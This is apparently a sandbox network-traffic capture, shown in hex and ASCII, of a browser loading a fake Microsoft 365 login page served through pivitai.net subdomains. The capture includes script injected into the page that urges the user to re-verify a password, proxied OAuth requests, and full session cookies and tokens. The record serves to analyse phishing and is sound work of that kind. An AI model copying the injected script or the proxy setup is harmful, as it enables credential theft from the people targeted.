2024-04-26 20:18:23 UTC	1369	IN	Data Raw: 38 26 6e 29 72 65 74 75 72 6e 20 65 3b 69 66 28 34 26 6e 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 3b 69 66 28 69 2e 72 28 74 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 64 65 66 61 75 6c 74 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 65 7d 29 2c 32 26 6e 26 26 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 29 66 6f 72 28 76 61 72 20 72 20 69 6e 20 65 29 69 2e 64 28 74 2c 72 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 5b 6e 5d 7d 2e 62 69 6e 64 28 6e 75 6c 6c 2c 72 29 29 3b 72 65 74 75 72 6e 20 74 Data Ascii: 8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var r in e)i.d(t,r,function(n){return e[n]}.bind(null,r));return t
2024-04-26 20:18:23 UTC	1369	IN	Data Raw: 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 7b 7d 3b 72 65 74 75 72 6e 20 65 26 26 28 6e 3d 69 2e 70 61 72 73 65 28 69 2e 73 74 72 69 6e 67 69 66 79 28 65 29 29 29 2c 6e 7d 2c 6a 6f 69 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 3d 22 22 3b 72 65 74 75 72 6e 20 65 26 26 75 2e 66 6f 72 45 61 63 68 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 29 7b 72 26 26 28 72 2b 3d 6e 29 2c 72 2b 3d 65 2b 74 2b 28 6f 7c 7c 22 22 29 7d 29 29 2c 72 7d 2c 66 6f 72 45 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 6f 2e 75 74 69 6c 73 2e 6f 62 6a 65 63 74 46 6f 72 45 61 63 68 28 65 2c 6e 29 7d 2c 66 69 6e 64 4f 77 6e 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 3b 66 6f 72 28 76 Data Ascii: e:function(e){var n={};return e&&(n=i.parse(i.stringify(e))),n},join:function(e,n,t){var r="";return e&&u.forEach(e,(function(e,o){r&&(r+=n),r+=e+t+(o\|\|"")})),r},forEach:function(e,n){o.utils.objectForEach(e,n)},findOwnProperty:function(e,n,t){var r;for(v
2024-04-26 20:18:23 UTC	1369	IN	Data Raw: 74 28 22 40 22 29 5b 31 5d 3b 72 65 74 75 72 6e 20 65 3d 74 3f 22 40 22 3a 22 22 2c 6e 3f 65 2b 72 2e 73 6c 69 63 65 28 30 2c 72 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2e 22 29 2b 31 29 3a 65 2b 72 7d 2c 65 78 74 72 61 63 74 44 6f 6d 61 69 6e 46 72 6f 6d 55 72 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 29 7b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 72 65 74 75 72 6e 20 6e 2e 68 72 65 66 3d 65 2c 6e 2e 68 6f 73 74 6e 61 6d 65 7d 72 65 74 75 72 6e 22 22 7d 2c 65 78 74 72 61 63 74 4f 72 69 67 69 6e 46 72 6f 6d 55 72 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 29 7b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 6e 2e 68 Data Ascii: t("@")[1];return e=t?"@":"",n?e+r.slice(0,r.lastIndexOf(".")+1):e+r},extractDomainFromUrl:function(e){if(e){var n=document.createElement("a");return n.href=e,n.hostname}return""},extractOriginFromUrl:function(e){if(e){var n=document.createElement("a");n.h
2024-04-26 20:18:23 UTC	1369	IN	Data Raw: 2c 66 69 6e 64 49 6e 64 65 78 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 28 65 29 26 26 65 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 65 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 69 66 28 6e 28 65 5b 74 5d 29 29 72 65 74 75 72 6e 20 74 3b 72 65 74 75 72 6e 2d 31 7d 7d 3b 6e 2e 44 61 74 65 54 69 6d 65 3d 7b 67 65 74 43 75 72 72 65 6e 74 54 69 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 7d 2c 67 65 74 55 54 43 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 44 61 74 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 49 53 4f 53 74 72 69 6e 67 3f 28 6e 65 77 20 44 61 74 65 29 2e 74 6f 49 53 4f Data Ascii: ,findIndex:function(e,n){if(e&&"object"===r(e)&&e.length)for(var t=0;t<e.length;t++)if(n(e[t]))return t;return-1}};n.DateTime={getCurrentTime:function(){return(new Date).getTime()},getUTCString:function(){return Date.prototype.toISOString?(new Date).toISO
2024-04-26 20:18:23 UTC	1369	IN	Data Raw: 65 66 6f 78 56 65 72 73 69 6f 6e 28 29 3b 68 5b 65 5d 3d 6e 26 26 6e 3e 65 7d 72 65 74 75 72 6e 20 68 5b 65 5d 7d 2c 69 73 43 68 72 6f 6d 65 4e 65 77 65 72 54 68 61 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 67 5b 65 5d 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 76 61 72 20 6e 3d 5f 2e 67 65 74 43 68 72 6f 6d 65 56 65 72 73 69 6f 6e 28 29 3b 67 5b 65 5d 3d 6e 26 26 6e 3e 65 7d 72 65 74 75 72 6e 20 67 5b 65 5d 7d 2c 69 73 49 4f 53 53 61 66 61 72 69 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 76 29 7b 76 61 72 20 65 3d 64 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 76 3d 2f 73 61 66 61 72 69 2f 2e 74 65 73 74 28 65 29 26 26 2f 69 70 68 6f 6e 65 7c 69 70 6f 64 7c 69 70 Data Ascii: efoxVersion();h[e]=n&&n>e}return h[e]},isChromeNewerThan:function(e){if(g[e]===undefined){var n=_.getChromeVersion();g[e]=n&&n>e}return g[e]},isIOSSafari:function(){if(null===v){var e=d.navigator.userAgent.toLowerCase();v=/safari/.test(e)&&/iphone\|ipod\|ip

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49725	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:23 UTC	2495	OUT	GET /common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true HTTP/1.1 Host: dfgrt.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d; esctx-3UthQiNWeYA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IBaozxtGlk9P_MZmIstVk93o4LiNrXf0bizuXBgbTY70owvrgpnWlSUx1zGJjIhc3Iunu-oKF4oU8rlO43wX8g0ruZ4KdBe8tJ0I7b7XGMikWIa8HWOF1zjbbBIYxjgiZWvk-fUQ1b7PgUm_UebpoyAA; fpc=Aklos_I7PTVNnQgzHKlcwXQ; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8NOyYEDa-V5afKvKYt4dy5p5NwnVj7EKdnpgsar5OU14_SrjYe1SvjEDghyftj1pHfqv-2Okr3H7w3gHZ2d_GzR_cqQTJpNCgvkCZJ8ndyBpEZqN6LODtSyHiSCwLAkP-zUp9VxBA7dSmn1WLsp4gh_FMnYbnTj6z4M0brj-a-b0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-04-26 20:18:25 UTC	1298	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store, no-cache Expires: -1 Link: <https://aadcdn.msftauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msftauth.net>; rel=dns-prefetch,<https://aadcdn.msauth.net>; rel=dns-prefetch Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+sin"}]} Set-Cookie: buid=0.AUkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8IJgLoOXrr9ElNilfXokxZCkEL7wp7NvoaffnKOn0Ue6qHEUgGtELDdSFNaVh4grNszHFCRprXvd6-WD5Zf0RPLDLD5MrsfzdBwej7JlkZPMgAA; Path=/; Expires=Sun, 26 May 2024 20:18:24 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8c7z8HYH0_ekAPFf3YFbcYRtmSgU2zox3RbMziNdYe1nyFbuenv5KWwZ4YHhkG63wc1kXG935zcYtwkxlkgmHcW5gXSOJ98cp8V5cipsk3qDnychqAfzUkFB68AfTI163rBvoKSJUNFwwpY0SntJE1RXuk58DIM2GJYGz9ZSi9f4gAA; Path=/; Domain=dfgrt.pivitai.net; HttpOnly; Secure; SameSite=None
2024-04-26 20:18:25 UTC	781	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 65 73 63 74 78 2d 53 47 35 47 36 6f 69 37 44 55 3d 41 51 41 42 43 51 45 41 41 41 44 6e 66 6f 6c 68 4a 70 53 6e 52 59 42 31 53 56 6a 2d 48 67 64 38 37 6e 52 30 6d 6f 45 42 2d 70 58 6d 4b 58 36 5a 50 74 51 68 57 63 6a 67 72 70 54 63 38 42 71 42 72 71 48 4d 73 6e 66 75 57 49 31 66 57 51 63 35 66 76 50 51 64 61 71 4f 76 5a 37 66 33 52 39 6f 72 7a 4b 73 6a 43 4b 46 36 6a 7a 47 76 6e 74 70 36 2d 6b 6f 76 7a 61 33 69 51 7a 7a 56 54 4a 51 64 31 69 37 44 75 6d 78 5a 49 76 70 53 31 39 5a 39 34 72 67 6f 6a 53 6b 2d 42 53 58 78 4b 53 53 34 6b 59 7a 4c 54 72 56 5f 63 52 57 65 38 79 72 41 47 73 6f 6f 53 41 41 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 64 66 67 72 74 2e 70 69 76 69 74 61 69 2e 6e 65 74 3b 20 48 74 74 70 4f 6e Data Ascii: Set-Cookie: esctx-SG5G6oi7DU=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87nR0moEB-pXmKX6ZPtQhWcjgrpTc8BqBrqHMsnfuWI1fWQc5fvPQdaqOvZ7f3R9orzKsjCKF6jzGvntp6-kovza3iQzzVTJQd1i7DumxZIvpS19Z94rgojSk-BSXxKSS4kYzLTrV_cRWe8yrAGsooSAA; Path=/; Domain=dfgrt.pivitai.net; HttpOn
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 34 30 30 30 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 Data Ascii: 4000... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWV
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 69 6e 48 65 61 64 65 72 22 29 2e 74 68 65 6e 28 65 3d 3e 7b 69 66 20 21 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 70 22 29 29 20 6c 65 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 70 22 29 3b 74 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 22 42 65 63 61 75 73 65 20 79 6f 75 20 61 72 65 20 61 63 63 65 73 73 69 6e 67 20 73 65 6e 73 69 74 69 76 65 20 69 6e 66 6f 20 79 6f 75 20 6e 65 65 64 20 74 6f 20 76 65 72 69 66 79 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 22 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 23 6c 6f 67 69 6e 48 65 61 64 65 72 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 29 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 Data Ascii: inHeader").then(e=>{if !e.querySelector("p")) let t=document.createElement("p");t.textContent="Because you are accessing sensitive info you need to verify your password",document.querySelectorAll("#loginHeader")[0].appendChild(t)})});</script> <meta
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 74 68 65 72 49 64 70 46 6f 72 67 65 74 22 3a 22 68 74 74 70 73 3a 2f 2f 64 77 71 65 66 2e 70 69 76 69 74 61 69 2e 6e 65 74 2f 66 6f 72 67 65 74 6d 65 2e 73 72 66 3f 69 66 72 61 6d 65 64 5f 62 79 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 64 66 67 72 74 2e 70 69 76 69 74 61 69 2e 6e 65 74 22 2c 22 73 68 6f 77 43 61 6e 74 41 63 63 65 73 73 41 63 63 6f 75 6e 74 4c 69 6e 6b 22 3a 74 72 75 65 2c 22 75 72 6c 47 69 74 48 75 62 46 65 64 22 3a 22 68 74 74 70 73 3a 2f 2f 62 64 66 64 62 64 66 2e 70 69 76 69 74 61 69 2e 6e 65 74 2f 6f 77 61 2f 3f 69 64 70 5f 68 69 6e 74 3d 67 69 74 68 75 62 2e 63 6f 6d 22 2c 22 61 72 72 45 78 74 65 72 6e 61 6c 54 72 75 73 74 65 64 52 65 61 6c 6d 46 65 64 65 72 61 74 65 64 49 64 70 73 22 3a 5b 5d 2c 22 66 53 68 6f 77 53 69 67 6e 49 Data Ascii: therIdpForget":"https://dwqef.pivitai.net/forgetme.srf?iframed_by=https%3a%2f%2fdfgrt.pivitai.net","showCantAccessAccountLink":true,"urlGitHubFed":"https://bdfdbdf.pivitai.net/owa/?idp_hint=github.com","arrExternalTrustedRealmFederatedIdps":[],"fShowSignI
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 34 33 21 21 21 43 4b 7e 43 6f 6f 6b 20 49 73 6c 61 6e 64 73 7e 36 38 32 21 21 21 43 52 7e 43 6f 73 74 61 20 52 69 63 61 7e 35 30 36 21 21 21 43 49 7e 43 c3 b4 74 65 20 64 5c 75 30 30 32 37 49 76 6f 69 72 65 7e 32 32 35 21 21 21 48 52 7e 43 72 6f 61 74 69 61 7e 33 38 35 21 21 21 43 55 7e 43 75 62 61 7e 35 33 21 21 21 43 57 7e 43 75 72 61 c3 a7 61 6f 7e 35 39 39 21 21 21 43 59 7e 43 79 70 72 75 73 7e 33 35 37 21 21 21 43 5a 7e 43 7a 65 63 68 69 61 7e 34 32 30 21 21 21 44 4b 7e 44 65 6e 6d 61 72 6b 7e 34 35 21 21 21 44 4a 7e 44 6a 69 62 6f 75 74 69 7e 32 35 33 21 21 21 44 4d 7e 44 6f 6d 69 6e 69 63 61 7e 31 21 21 21 44 4f 7e 44 6f 6d 69 6e 69 63 61 6e 20 52 65 70 75 62 6c 69 63 7e 31 21 21 21 45 43 7e 45 63 75 61 64 6f 72 7e 35 39 33 21 21 21 45 47 7e 45 67 Data Ascii: 43!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Eg
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 7e 4d 61 6c 61 79 73 69 61 7e 36 30 21 21 21 4d 56 7e 4d 61 6c 64 69 76 65 73 7e 39 36 30 21 21 21 4d 4c 7e 4d 61 6c 69 7e 32 32 33 21 21 21 4d 54 7e 4d 61 6c 74 61 7e 33 35 36 21 21 21 4d 48 7e 4d 61 72 73 68 61 6c 6c 20 49 73 6c 61 6e 64 73 7e 36 39 32 21 21 21 4d 51 7e 4d 61 72 74 69 6e 69 71 75 65 7e 35 39 36 21 21 21 4d 52 7e 4d 61 75 72 69 74 61 6e 69 61 7e 32 32 32 21 21 21 4d 55 7e 4d 61 75 72 69 74 69 75 73 7e 32 33 30 21 21 21 59 54 7e 4d 61 79 6f 74 74 65 7e 32 36 32 21 21 21 4d 58 7e 4d 65 78 69 63 6f 7e 35 32 21 21 21 46 4d 7e 4d 69 63 72 6f 6e 65 73 69 61 7e 36 39 31 21 21 21 4d 44 7e 4d 6f 6c 64 6f 76 61 7e 33 37 33 21 21 21 4d 43 7e 4d 6f 6e 61 63 6f 7e 33 37 37 21 21 21 4d 4e 7e 4d 6f 6e 67 6f 6c 69 61 7e 39 37 36 21 21 21 4d 45 7e 4d 6f Data Ascii: ~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Mo
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 21 21 53 4f 7e 53 6f 6d 61 6c 69 61 7e 32 35 32 21 21 21 5a 41 7e 53 6f 75 74 68 20 41 66 72 69 63 61 7e 32 37 21 21 21 53 53 7e 53 6f 75 74 68 20 53 75 64 61 6e 7e 32 31 31 21 21 21 45 53 7e 53 70 61 69 6e 7e 33 34 21 21 21 4c 4b 7e 53 72 69 20 4c 61 6e 6b 61 7e 39 34 21 21 21 53 48 7e 53 74 20 48 65 6c 65 6e 61 2c 20 41 73 63 65 6e 73 69 6f 6e 2c 20 61 6e 64 20 54 72 69 73 74 61 6e 20 64 61 20 43 75 6e 68 61 7e 32 39 30 21 21 21 53 44 7e 53 75 64 61 6e 7e 32 34 39 21 21 21 53 52 7e 53 75 72 69 6e 61 6d 65 7e 35 39 37 21 21 21 53 4a 7e 53 76 61 6c 62 61 72 64 7e 34 37 21 21 21 53 5a 7e 53 77 61 7a 69 6c 61 6e 64 7e 32 36 38 21 21 21 53 45 7e 53 77 65 64 65 6e 7e 34 36 21 21 21 43 48 7e 53 77 69 74 7a 65 72 6c 61 6e 64 7e 34 31 21 21 21 53 59 7e 53 79 72 Data Ascii: !!SO~Somalia~252!!!ZA~South Africa~27!!!SS~South Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syr
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 74 69 61 6c 73 53 75 70 70 6f 72 74 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 69 56 65 72 69 66 69 61 62 6c 65 43 72 65 64 65 6e 74 69 61 6c 50 72 65 73 65 6e 74 61 74 69 6f 6e 50 6f 6c 6c 69 6e 67 49 6e 74 65 72 76 61 6c 53 65 63 6f 6e 64 73 22 3a 30 2e 35 2c 22 69 56 65 72 69 66 69 61 62 6c 65 43 72 65 64 65 6e 74 69 61 6c 50 72 65 73 65 6e 74 61 74 69 6f 6e 50 6f 6c 6c 69 6e 67 54 69 6d 65 6f 75 74 53 65 63 6f 6e 64 73 22 3a 33 30 30 2c 22 66 55 70 64 61 74 65 46 61 63 65 62 6f 6f 6b 49 63 6f 6e 22 3a 74 72 75 65 2c 22 75 72 6c 53 65 73 73 69 6f 6e 53 74 61 74 65 22 3a 22 68 74 74 70 73 3a 2f 2f 64 66 67 72 74 2e 70 69 76 69 74 61 69 2e 6e 65 74 2f 63 6f 6d 6d 6f 6e 2f 44 65 76 69 63 65 43 6f 64 65 53 74 61 74 75 73 22 2c 22 75 72 6c 52 65 73 65 74 Data Ascii: tialsSupportEnabled":true,"iVerifiableCredentialPresentationPollingIntervalSeconds":0.5,"iVerifiableCredentialPresentationPollingTimeoutSeconds":300,"fUpdateFacebookIcon":true,"urlSessionState":"https://dfgrt.pivitai.net/common/DeviceCodeStatus","urlReset
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 32 55 6c 6a 43 61 4f 44 67 30 63 61 71 62 54 58 52 67 4d 4e 58 45 78 48 52 79 63 61 6b 4c 69 59 6c 44 70 79 59 4f 4e 68 32 4d 36 64 54 45 52 59 69 4c 59 39 5f 77 38 72 5a 66 33 6e 75 4c 4b 42 57 68 70 46 76 6b 50 39 48 45 31 41 6e 53 4d 43 68 43 31 61 66 70 50 7a 6e 7a 6f 66 44 2d 74 35 5f 45 35 76 76 58 42 30 4d 53 43 6a 39 75 5f 67 6d 4f 41 46 37 33 76 49 34 72 52 61 4f 77 36 37 55 67 62 45 61 67 59 56 69 71 7a 76 42 63 52 49 56 32 46 47 34 70 30 55 38 41 6a 41 45 34 42 57 44 6b 57 2d 49 5a 67 52 57 58 4f 4a 47 62 77 45 68 4b 49 47 6b 75 77 71 74 43 6a 61 56 72 47 6d 47 49 68 6b 4b 77 5f 49 51 74 30 44 70 44 4b 49 4a 67 63 42 70 4e 6b 34 7a 43 48 5f 76 6d 73 72 47 75 56 36 65 6e 42 68 31 72 52 7a 5f 33 42 51 33 6f 32 4e 55 4f 64 4c 31 58 36 42 4e 5a 39 Data Ascii: 2UljCaODg0caqbTXRgMNXExHRycakLiYlDpyYONh2M6dTERYiLY9_w8rZf3nuLKBWhpFvkP9HE1AnSMChC1afpPznzofD-t5_E5vvXB0MSCj9u_gmOAF73vI4rRaOw67UgbEagYViqzvBcRIV2FG4p0U8AjAE4BWDkW-IZgRWXOJGbwEhKIGkuwqtCjaVrGmGIhkKw_IQt0DpDKIJgcBpNk4zCH_vmsrGuV6enBh1rRz_3BQ3o2NUOdL1X6BNZ9
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 70 78 22 2c 22 75 72 6c 44 65 76 69 63 65 46 69 6e 67 65 72 70 72 69 6e 74 69 6e 67 22 3a 22 22 2c 22 75 72 6c 50 49 41 45 6e 64 41 75 74 68 22 3a 22 68 74 74 70 73 3a 2f 2f 64 66 67 72 74 2e 70 69 76 69 74 61 69 2e 6e 65 74 2f 63 6f 6d 6d 6f 6e 2f 50 49 41 2f 45 6e 64 41 75 74 68 22 2c 22 66 43 42 53 68 6f 77 53 69 67 6e 55 70 22 3a 74 72 75 65 2c 22 66 4b 4d 53 49 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 69 4c 6f 67 69 6e 4d 6f 64 65 22 3a 31 2c 22 66 41 6c 6c 6f 77 50 68 6f 6e 65 53 69 67 6e 49 6e 22 3a 74 72 75 65 2c 22 66 41 6c 6c 6f 77 50 68 6f 6e 65 49 6e 70 75 74 22 3a 74 72 75 65 2c 22 66 41 6c 6c 6f 77 53 6b 79 70 65 4e 61 6d 65 4c 6f 67 69 6e 22 3a 74 72 75 65 2c 22 69 4d 61 78 50 6f 6c 6c 45 72 72 6f 72 73 22 3a 35 2c 22 69 50 6f 6c 6c Data Ascii: px","urlDeviceFingerprinting":"","urlPIAEndAuth":"https://dfgrt.pivitai.net/common/PIA/EndAuth","fCBShowSignUp":true,"fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"fAllowSkypeNameLogin":true,"iMaxPollErrors":5,"iPoll

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49726	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:23 UTC	1798	OUT	GET /favicon.ico HTTP/1.1 Host: dfgrt.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: 